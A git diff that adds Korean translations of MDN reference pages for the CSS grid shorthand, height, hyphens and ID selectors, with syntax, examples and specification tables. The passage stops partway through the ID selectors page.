+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/grid/index.html b/files/ko/web/css/grid/index.html
new file mode 100644
index 0000000000..7515db99be
--- /dev/null
+++ b/files/ko/web/css/grid/index.html
@@ -0,0 +1,192 @@
+---
+title: grid
+slug: Web/CSS/grid
+tags:
+ - CSS
+ - CSS Grid
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/grid
+---
+<p><strong><code>grid</code></strong> CSS 속성은 <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> property 입니다. 외재적인 속성인 ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}), 값과 내재적인 속성인 ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}), 값을 한번에 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>Note:</strong> You can only specify the explicit <em>or</em> the implicit grid properties in a single <code>grid</code> declaration. The sub-properties you don’t specify are set to their initial value, as normal for shorthands. Also, the gutter properties are NOT reset by this shorthand.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers">/* &lt;'grid-template'&gt; values */
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* &lt;'grid-template-rows'&gt; /
+ [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? /
+ &lt;'grid-template-columns'&gt; values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Global values */
+grid: inherit;
+grid: initial;
+grid: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;'grid-template'&gt;</code></dt>
+ <dd>{{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-areas")}} 값을 내포하고 있는 {{cssxref("grid-template")}}의 값을 정의합니다.</dd>
+ <dt><code>&lt;'grid-template-rows'&gt; / [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;?</code></dt>
+ <dd>{{cssxref("grid-template-rows")}} (and the {{cssxref("grid-template-columns")}} property to <code>none</code>)은 auto-flow 값을 설정합니다. {{cssxref("grid-auto-columns")}} (and setting {{cssxref("grid-auto-rows")}} to <code>auto</code>)은 auto-repeat를 설정합니다. {{cssxref("grid-auto-flow")}} 또한 마찬가지로 auto-repeat에 영향을 줍니다. 만약 이 값이 생략되었다면 그 기본값은 <code>dense</code> 입니다.
+ <p><code><font face="Verdana, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">만약 </span></font>grid</code> 의 sub-properties가 있다면, 해당 값으로 초기화 됩니다.</p>
+ </dd>
+ <dt><code>[ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? / &lt;'grid-template-columns'&gt;</code></dt>
+ <dd>{{cssxref("grid-template-columns")}} (and the {{cssxref("grid-template-rows")}} property to <code>none</code>)은 auto-flow 값을 설정합니다. {{cssxref("grid-auto-rows")}} (and setting {{cssxref("grid-auto-columns")}} to <code>auto</code>)은 열(row)에 대한 auto-repeat를 설정합니다. {{cssxref("grid-auto-flow")}} 또한 마찬가지로 auto-repeat에 영향을 줍니다. 만약 이 값이 생략되었다면 그 기본값은 <code>dense</code> 입니다.
+ <p><code><font face="Verdana, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">만약  </span></font>grid</code> 의 sub-properties가 있다면, 해당 값으로 초기화 됩니다.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">#container {
+ display: grid;
+ grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container &gt; div {
+ background-color: #8ca0ff;
+ width: 50px;
+ height: 50px;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 150)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}</td>
+ <td>{{Spec2("CSS3 Grid")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-template")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-flow")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas#Grid_definition_shorthands">Grid template areas - Grid definition shorthands</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/height/index.html b/files/ko/web/css/height/index.html
new file mode 100644
index 0000000000..8682d0c2c5
--- /dev/null
+++ b/files/ko/web/css/height/index.html
@@ -0,0 +1,175 @@
+---
+title: height
+slug: Web/CSS/height
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/height
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>height</code></strong> CSS 속성은 요소의 높이를 지정합니다. 기본값은 콘텐츠 영역의 높이지만, {{cssxref("box-sizing")}}이 <code>border-box</code>라면 테두리 영역의 높이를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/height.html")}}</div>
+
+
+
+<p>{{cssxref("min-height")}}와 {{cssxref("max-height")}} 속성은 <code>height</code>를 덮어씁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 */
+height: auto;
+
+/* &lt;length&gt; */
+height: 120px;
+height: 10em;
+
+/* &lt;percentage&gt; */
+height: 75%;
+
+/* 전역 값 */
+height: inherit;
+height: initial;
+height: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>높이의 절대값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 높이의 백분율.</dd>
+ <dt><code>border-box</code> {{experimental_inline}}</dt>
+ <dd>앞선 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}가 요소의 보더 박스에 적용.</dd>
+ <dt><code>content-box</code> {{experimental_inline}}</dt>
+ <dd>앞선 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}가 요소의 콘텐츠 박스에 적용.</dd>
+ <dt><code>auto</code></dt>
+ <dd>브라우저가 요소의 너비를 계산하고 선택.</dd>
+ <dt><code>fill</code> {{experimental_inline}}</dt>
+ <dd>글쓰기 방향에 따라 <code>fill-available</code> 인라인 크기 또는 <code>fill-available</code> 블록 크기를 사용.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>본질적인 선호 높이.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>본질적인 최소 높이.</dd>
+ <dt><code>available</code> {{experimental_inline}}</dt>
+ <dd>컨테이닝 블록 너비에서 수평 여백, 테두리, 패딩을 제외한 값.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>다음 중 더 큰 값.
+ <ul>
+ <li>본질적인 최소 너비</li>
+ <li>본질적인 선호 너비와 사용 가능한 너비 중 작은 값</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="taller"&gt;제 키는 50픽셀입니다.&lt;/div&gt;
+&lt;div id="shorter"&gt;제 키는 25픽셀입니다.&lt;/div&gt;
+&lt;div id="parent"&gt;
+ &lt;div id="child"&gt;
+ 제 키는 부모의 절반입니다.
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+ width: 250px;
+ margin-bottom: 5px;
+ border: 2px solid blue;
+}
+
+#taller {
+ height: 50px;
+}
+
+#shorter {
+ height: 25px;
+}
+
+#parent {
+ height: 100px;
+}
+
+#child {
+ height: 50%;
+ width: 75%;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 'auto', 240)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>페이지를 확대하거나 글꼴 크기를 늘렸을 때 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">height</span></font> 속성을 지정한 요소가 잘리거나 다른 내용을 가리지 않도록 확인하세요.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Box', '#width-and-height', 'height')}}</td>
+ <td>{{Spec2('CSS3 Box')}}</td>
+ <td>Added the <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code>, <code>content-box</code> keywords.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Lists <code>height</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Adds support for the {{cssxref("&lt;length&gt;")}} values and precises on which element it applies to.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#height', 'height')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+ <td>{{Spec2('CSS3 Sizing')}}</td>
+ <td>Adds new sizing keywords for width and height.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.height")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/box_model">box model</a>, {{cssxref("width")}}, {{cssxref("box-sizing")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}</li>
+</ul>
diff --git a/files/ko/web/css/hyphens/index.html b/files/ko/web/css/hyphens/index.html
new file mode 100644
index 0000000000..82f963023f
--- /dev/null
+++ b/files/ko/web/css/hyphens/index.html
@@ -0,0 +1,159 @@
+---
+title: hyphens
+slug: Web/CSS/hyphens
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/hyphens
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>hyphens</code></strong> 속성은 여러 줄에 걸치는 텍스트에서 단어에 붙임표를 추가하는 방식을 설정합니다.</span> 붙임표를 아예 방지할 수도 있고, 수동으로 지정한 곳에서만 발생하도록 나타낼 수도 있으며, 브라우저가 자동으로 적절한 곳에 붙임표를 삽입하도록 허용할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/hyphens.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>붙임표 규칙은 언어별로 다릅니다. HTML의 언어는 <code><a href="/ko/docs/Web/HTML/Global_attributes/lang">lang</a></code> 특성으로 알아낼 수 있으며, 브라우저는 lang 특성과 해당 언어에 적합한 붙임표 규칙이 모두 사용 가능할 때에만 붙임표를 추가합니다. XML에서는 <code><a href="/ko/docs/Web/SVG/Attribute/xml:lang">xml:lang</a></code> 특성을 사용해야 합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 명세는 붙임표 규칙을 명시하지 않고 있으므로 동작 방식이 브라우저마다 다를 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+hyphens: none;
+hyphens: manual;
+hyphens: auto;
+
+/* 전역 값 */
+hyphens: inherit;
+hyphens: initial;
+hyphens: unset;
+</pre>
+
+<p><code>hyphens</code> 속성은 아래 목록 중 하나의 키워드를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>단어 내의 문자가 줄 바꿈 위치를 나타내더라도 단어를 내에서 줄을 바꾸지 않습니다. 줄 바꿈은 공백 문자에서만 발생합니다.</dd>
+ <dt><code>manual</code></dt>
+ <dd>단어 내의 줄 바꿈 위치를 나타내는 문자에서는 줄을 바꿀 수 있습니다. 아래의 {{anch("줄 바꿈 위치 제안")}}에서 자세한 정보를 알아보세요.</dd>
+ <dt><code>auto</code></dt>
+ <dd>브라우저가 단어 내의 적합한 붙임표 위치를 자유롭게 골라서 줄을 바꿀 수 있습니다. 단, 줄 바꿈 위치를 제안(아래의 {{anch("줄 바꿈 위치 제안")}} 을 보세요)한 경우에는 해당 위치를 사용합니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> 적합한 붙임표 규칙을 선택할 수 있도록 언어를 제대로 명시해야 <code>auto</code> 값의 동작도 정확해집니다. HTML <code>lang</code> 특성을 사용해 해당 언어의 붙임표 규칙을 사용할 것을 확실하게 지정하세요.</p>
+</div>
+
+<h2 id="줄_바꿈_위치_제안">줄 바꿈 위치 제안</h2>
+
+<p>아래의 두 가지 Unicode 문자를 사용해서 수동으로 줄 바꿈 위치를 제안할 수 있습니다.</p>
+
+<dl>
+ <dt>U+2010 (HYPHEN)</dt>
+ <dd>붙임표, "하드" 하이픈 문자는 눈에 보이는 줄 바꿈 위치를 나타냅니다. 실제로 줄이 바뀌지는 않더라도 붙임표를 볼 수 있습니다.</dd>
+ <dt>U+00AD (SHY)</dt>
+ <dd>투명한 "소프트" 하이픈("<strong>s</strong>oft" <strong>hy</strong>phen)입니다. 눈에 보이지 않으며, 브라우저가 붙임표를 사용해 단어를 끊을 위치로 선택합니다. HTML에서는 <code>&amp;shy;</code>를 사용해 입력하세요.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p>HTML {{htmlelement("wbr")}} 요소로 인한 줄 바꿈으로는 붙임표가 추가되지 않습니다.</p>
+</div>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="붙임표_줄_바꿈_지정하기">붙임표 줄 바꿈 지정하기</h3>
+
+<p>다음 예제는 <code>hyphens</code> 속성에 사용할 수 있는 세 개 값을 시연합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+ &lt;dt&gt;&lt;code&gt;none&lt;/code&gt;: no hyphen; overflow if needed&lt;/dt&gt;
+ &lt;dd lang="en" class="none"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+ &lt;dt&gt;&lt;code&gt;manual&lt;/code&gt;: hyphen only at &amp;amp;hyphen; or &amp;amp;shy; (if needed)&lt;/dt&gt;
+ &lt;dd lang="en" class="manual"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+ &lt;dt&gt;&lt;code&gt;auto&lt;/code&gt;: hyphens where the algorithm decides (if needed)&lt;/dt&gt;
+ &lt;dd lang="en" class="auto"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">dd {
+ width: 55px;
+ border: 1px solid black;
+ }
+dd.none {
+ -webkit-hyphens: none;
+ -ms-hyphens: none;
+ hyphens: none;
+}
+dd.manual {
+ -webkit-hyphens: manual;
+ -ms-hyphens: manual;
+ hyphens: manual;
+}
+dd.auto {
+ -webkit-hyphens: auto;
+ -ms-hyphens: auto;
+ hyphens: auto;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<figure>
+<p>{{EmbedLiveSample("붙임표_줄_바꿈_지정하기", "100%", 490)}}</p>
+</figure>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Text", "#hyphens-property", "hyphens")}}</td>
+ <td>{{Spec2("CSS3 Text")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.hyphens")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("content")}}</li>
+ <li>{{cssxref("overflow-wrap")}} (이전 이름 <code>word-wrap</code>)</li>
+ <li>{{cssxref("word-break")}}</li>
+</ul>
diff --git a/files/ko/web/css/id_selectors/index.html b/files/ko/web/css/id_selectors/index.html
new file mode 100644
index 0000000000..10df449707
--- /dev/null
+++ b/files/ko/web/css/id_selectors/index.html
@@ -0,0 +1,85 @@
+---
+title: ID 선택자
+slug: Web/CSS/ID_selectors
+tags:
+ - CSS
+ - Reference
+ - Selectors
+ - 선택자
+translation_of: Web/CSS/ID_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>ID 선택자</strong>는 요소의 {{htmlattrxref("id")}} 특성 값을 비교하여, 완전히 동일한 <code>id</code>를 가진 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* id="demo" 요소 선택 */
+#demo {
+ border: red 2px solid;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">#id_value { <em>style properties</em> }</pre>
+
+<p>위의 구문은 <a href="/ko/docs/Web/CSS/Attribute_selectors">특성 선택자</a>를 사용한 다음 구문과 동일합니다.</p>
+
+<pre class="syntaxbox notranslate">[id=id_value] { <em>style properties</em> }</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#identified {
+ background-color: skyblue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="identified"&gt;특별한 ID를 가진 요소에요!&lt;/div&gt;
+&lt;div&gt;이건 그냥 div에요.&lt;/div&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("Example", '100%', 50)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td></td>
